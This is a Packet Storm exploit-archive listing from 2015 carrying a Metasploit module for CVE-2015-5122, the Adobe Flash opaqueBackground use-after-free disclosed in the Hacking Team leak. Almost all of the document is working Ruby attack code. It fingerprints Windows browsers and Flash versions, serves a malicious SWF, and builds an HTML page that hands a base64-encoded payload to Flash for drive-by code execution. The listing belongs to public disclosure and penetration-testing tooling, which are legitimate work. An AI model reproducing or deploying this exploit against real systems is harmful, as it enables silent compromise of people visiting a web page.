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Adobe Flash opaqueBackground Use After Free

🗓️ 13 Jul 2015 00:00:00Reported by sinn3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 49 Views

Adobe Flash opaqueBackground Use After Free, Use After Free vulnerability in Adobe Flash Player handling the opaqueBackground property setter, tested on Windows 7 SP1, Windows 8.1, and various browser

Related
Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Adobe Flash opaqueBackground Use After Free',  
'Description' => %q{  
This module exploits an use after free on Adobe Flash Player. The vulnerability,  
discovered by Hacking Team and made public on its July 2015 data leak, was  
described as an Use After Free while handling the opaqueBackground property  
7 setter of the flash.display.DisplayObject class. This module is an early release  
tested on:  
  
Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203,  
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,  
Windows 7 SP1 (32-bit), IE9 and Adobe Flash Flash 18.0.0.203,  
Windows 7 SP1 (32-bit), Firefox + Adobe Flash 18.0.0.194,  
windows 8.1, Firefox and Adobe Flash 18.0.0.203,  
Windows 8.1, Firefox and Adobe Flash 18.0.0.160, and  
Windows 8.1, Firefox and Adobe Flash 18.0.0.194  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability discovered on HackingTeam info leak  
'juan vazquez', # Ported to Msf  
'sinn3r' # Testing and some editing  
],  
'References' =>  
[  
['CVE', '2015-5122'],  
['URL', 'https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html']  
],  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Platform' => ['win'],  
'Arch' => [ARCH_X86],  
'BrowserRequirements' =>  
{  
:source => /script|headers/i,  
:arch => ARCH_X86,  
:os_name => lambda do |os|  
os =~ OperatingSystems::Match::WINDOWS_7 ||  
os =~ OperatingSystems::Match::WINDOWS_81  
end,  
:ua_name => lambda do |ua|  
case target.name  
when 'Windows'  
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF  
end  
  
false  
end,  
:flash => lambda do |ver|  
case target.name  
when 'Windows'  
return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.203')  
end  
  
false  
end  
},  
'Targets' =>  
[  
[ 'Windows',  
{  
'Platform' => 'win'  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jul 06 2015',  
'DefaultTarget' => 0))  
end  
  
def exploit  
@swf = create_swf  
  
super  
end  
  
def on_request_exploit(cli, request, target_info)  
print_status("Request: #{request.uri}")  
  
if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'  
print_warning("Target setup not supported")  
send_not_found(cli)  
return  
end  
  
if request.uri =~ /\.swf$/  
print_status('Sending SWF...')  
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})  
return  
end  
  
print_status('Sending HTML...')  
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})  
end  
  
def exploit_template(cli, target_info)  
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"  
target_payload = get_payload(cli, target_info)  
b64_payload = Rex::Text.encode_base64(target_payload)  
os_name = target_info[:os_name]  
  
if target.name =~ /Windows/  
platform_id = 'win'  
end  
  
html_template = %Q|<html>  
<body>  
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />  
<param name="movie" value="<%=swf_random%>" />  
<param name="allowScriptAccess" value="always" />  
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />  
<param name="Play" value="true" />  
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>  
</object>  
</body>  
</html>  
|  
  
return html_template, binding()  
end  
  
def create_swf  
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-5122', 'msf.swf')  
swf = ::File.open(path, 'rb') { |f| swf = f.read }  
  
swf  
end  
end  
`

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